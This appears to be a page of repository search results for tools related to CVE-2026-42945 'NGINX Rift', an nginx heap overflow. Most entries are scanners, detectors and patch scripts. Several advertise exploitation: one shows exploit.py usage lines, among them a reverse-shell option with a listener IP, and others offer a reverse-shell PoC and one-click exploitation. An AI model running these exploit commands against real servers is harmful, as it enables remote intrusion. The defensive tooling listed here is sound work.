101 matches found
nginx-rift-detect
nginx-rift-detect 针对 CVE-2026-42945 (NGINX Rift)的行为检测脚本 —— 这是 ngxhttprewritemodule 中的一个堆缓冲区溢出漏洞,自 2008 年起便存在于 nginx 中。 ⚠️ 免责声明 本工具仅供授权安全测试和研究使用 。 请仅针对您拥有或已获得明确书面许可 的系统运行本工具。 未经授权使用可能违反您所在司法辖区的计算机犯罪法律。 作者不对因使用本工具而造成的任何滥用或损害承担责任。 背景 CVE-2026-42945 是 nginx 重写脚本引擎(ngxhttprewritemodule)中的一个堆缓冲区溢出漏洞,自版本...
nGixshell
nGixShell 是一个 nginx CVE 扫描器和 RCE 漏洞利用框架。它附带一个针对 CVE-2026-42945 的可工作概念验证(proof-of-concept)——ngxhttprewritemodule 中的一个严重堆缓冲区溢出——以及一个覆盖 53 个 nginx CVE 的扫描器,具备自动化 HTTP 探测、指纹识别、WAF 检测/绕过、Web 安全审计和报告生成功能。 零外部依赖。纯 Python 3 标准库。 快速开始 root@kitploit: Spin up the vulnerable lab docker compose -f...
NGINX_RIFT_SCAN_CVE_2026_42945
NGINX Rift 配置扫描器 语言:中文 | English 这是一个用于检查 NGINX 配置是否存在 CVE-2026-42945(NGINX Rift)和 CVE-2026-9256 风险模式的轻量级脚本。 该漏洞由 depthfirst 在文章 NGINX Rift: Achieving NGINX RCE via an 18-Year-Old Vulnerability 中披露。根据文章和 F5/NVD 描述,风险与 ngxhttprewritemodule 的特定配置组合有关:在同一配置上下文中,rewrite 的替换字符串包含 ?,后续 rewrite、if 或 set...
CVE-2026-42945-NGINX-Rift-Check-Script
此存储库没有 README。...
nginx-rift-scanner
nginx-rift-scanner Escáner Python 3 sin dependencias para CVE-2026-42945 "NGINX Rift" — un desbordamiento de búfer en montículo CWE-122 CRÍTICO 9.2 en CVSS v4.0 en ngxhttprewritemodule. Lo que detecta Se ejecutan dos comprobaciones independientes en cada invocación:...
cve-2026-42945-scan
cve-2026-42945-scan 针对 NGINX 配置文件的静态扫描器,用于检测与 CVE-2026-42945 相关的 rewrite/set 模式。 该扫描器使用 crossplane 解析 NGINX 配置,遍历 location 块,并打印每个疑似受影响的 location,格式如下: root@kitploit: //xxx.conf: - location XXXXX 示例: root@kitploit: /path/to/nginx.conf:39 - location ^/api/.$ 参考:CVE-2026-42945-POC。 要求 Python 3.10...
nginx-rift-check
nginx-rift-check Finds configurations vulnerable to CVE-2026-42945 , the heap buffer overflow in nginx's ngxhttprewritemodule. Running an affected nginx version 0.6.27 through 1.30.0 is not enough to be exploitable. The configuration has to contain a specific pair of directives, and that pair is...
CVE-2026-42945-NGINX-Rift
CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...
ai-vuln-rediscovery-nginx-cve-2026-42945
Redescubrimiento asistido por IA de CVE-2026-42945 en nginx Este repositorio documenta un experimento reproducible de redescubrimiento de vulnerabilidad asistido por IA contra el módulo ngxhttprewritemodule de nginx, posteriormente asociado con CVE-2026-42945. El experimento es intencionalmente...
nginx-rift-detector
NGINX Rift 检测器用于 CVE-2026-42945 用于受感染 NGINX 服务器的只读 Bash 检测器。它帮助运维人员在 CVE-2026-42945 披露后回答两个问题: 此服务器是否仍运行存在漏洞的 NGINX 版本或危险的重写配置? 本地日志是否包含崩溃、长 URI 或编码信号,需要在关闭工单前进行审查? 快速开始 需求| 链接 ---|--- 浏览工具页面| https://limo57640-crypto.github.io/nginx-rift-detector/ 阅读 Ping7 自检指南|...
fix_nginx_cve_2026_42945
Script de reparación de un clic para NGINX CVE-2026-42945 Detecta automáticamente la distribución del sistema, actualiza NGINX a la versión corregida ≥1.30.1, respalda la configuración y revierte automáticamente en caso de fallo. Descripción de la vulnerabilidad ID de vulnerabilidad: CVE-2026-429...
CVE-2026-42945-nginx-rift
Este repositorio no tiene un README...
CVE-2026-42945
此存储库没有 README。...
CVE-2026-42945
CVE-2026-42945 PoC(Go) 中文 | English 针对 nginx HTTP/2 实现(CVE-2026-42945) 的探测与利用辅助工具,用于在授权环境 中验证漏洞是否存在、对照修复效果,并在可控实验环境中复现 PoC 行为。 受影响版本(粗判):nginx 0.6.27 – 1.30.0 ;1.30.1+ / 1.31.0+ 已修复。 ⚠️ 免责声明(请务必阅读) 本仓库仅供安全研究、漏洞验证与防御性测试使用。 1. 合法授权 :你只能在拥有明确书面授权 或完全归你所有...
nginx-cve-2026-42945
CVE-2026-42945 NGINX Rift — defensive scanner Organizations running NGINX Open Source , NGINX Plus , or NGINX-based ingress/controllers should verify whether they are affected by CVE-2026-42945 and patch or reconfigure before exploitation attempts hit production edges. This repository provides a...
nginx-rce-cve-2026-42945
5. CVE-2026-42945 - 严重 NGINX RCE CVSS 9.2 分类 类别: 零日 / 远程代码执行 CVE: CVE-2026-42945 CVSS: 9.2 严重 发现日期: 2026年5月12日 补丁日期: 2026年5月 F5季度安全更新 来源: GitHub DepthFirstDisclosures/Nginx-Rift 漏洞详情 NGINX 的 ngxhttprewritemodule 组件中存在一个 堆缓冲区溢出 ,该漏洞于 2008 年 引入——意味着它在被发现前已存在 16 年 。 受影响版本 : NGINX Open Source 0.6.27 ...
CVE-2026-42945-Reverse-Shell-POC
CVE-2026-42945 NGINX Rift RCE PoC with Reverse Shell Remote code execution proof-of-concept for CVE-2026-42945 , a heap buffer overflow in NGINX's ngxhttprewritemodule. This fork extends the public trigger PoC with an embedded reverse-shell listener and configurable exploitation parameters for CT...
Nginx_cve-2026-42945-scanner-gui
Ngxin cve-2026-42945-scanner-gui a need run jdk21version java -jar cve-2026-42945-scanner.... Bulk scanning + one-click vulnerability exploitation 需要jdk21运行 解压后 java -jar cve-2026-42945-scanner.... 批量扫描 + 一键漏洞利用...
NGINX-Rift
NGINX Rift — CVE-2026-42945 / CVE-2026-9256 漏洞扫描与验证工具 NGINX Rift 是一款针对 CVE-2026-42945 和 CVE-2026-9256 (NGINX ngxhttprewritemodule 堆溢出漏洞)的开源扫描与验证工具。支持远程网络指纹扫描和本地深度配置审计,帮助安全团队快速排查 NGINX 环境中的潜在风险。 漏洞概述 CVE-2026-9256 CVSS 4.0: 9.2 Critical 属性| 详情 ---|--- CVE 编号| CVE-2026-9256 漏洞类型| 堆缓冲区溢出 Heap-based...
Scanner_CVE_2026-42945
用于检测易受 CVE-2026-42945 NGINX RIFT 影响的 Nginx 实例的扫描器。 接受单个 IP、CIDR 范围以及 ASN 作为输入。 关于 CVE-2026-42945 影响所有 1.30.1 之前 的 Nginx 版本。 该工具在默认端口上探测 HTTP 和 HTTPS,读取响应头中的 Server 字段,并将每个主机分类为脆弱、安全或可能受影响(版本隐藏)。 结果会记录到日志中,包含一份脆弱主机的列表,以及最终的详细 .CSV 文件。 依赖 root@kitploit: pip install requests packaging urllib3...